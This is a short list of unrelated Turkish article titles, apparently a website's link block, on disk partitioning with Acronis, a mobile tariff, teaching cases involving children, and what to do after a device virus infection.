- Acronis Disk Director Suite kullanılarak bir sabit sürücü nasıl düzgün şekilde bölümlenir? Acronis kullanarak disk bölümleme
- Süper sıfır MTS: tarife açıklaması
- Vakalar (bir çocuk ile bir yetişkin arasındaki etkileşim durumları) Pedagojik durumlar, sürüş vakasını öğretme yöntemleri
- Cihazınıza virüs bulaşırsa ne yapmalısınız?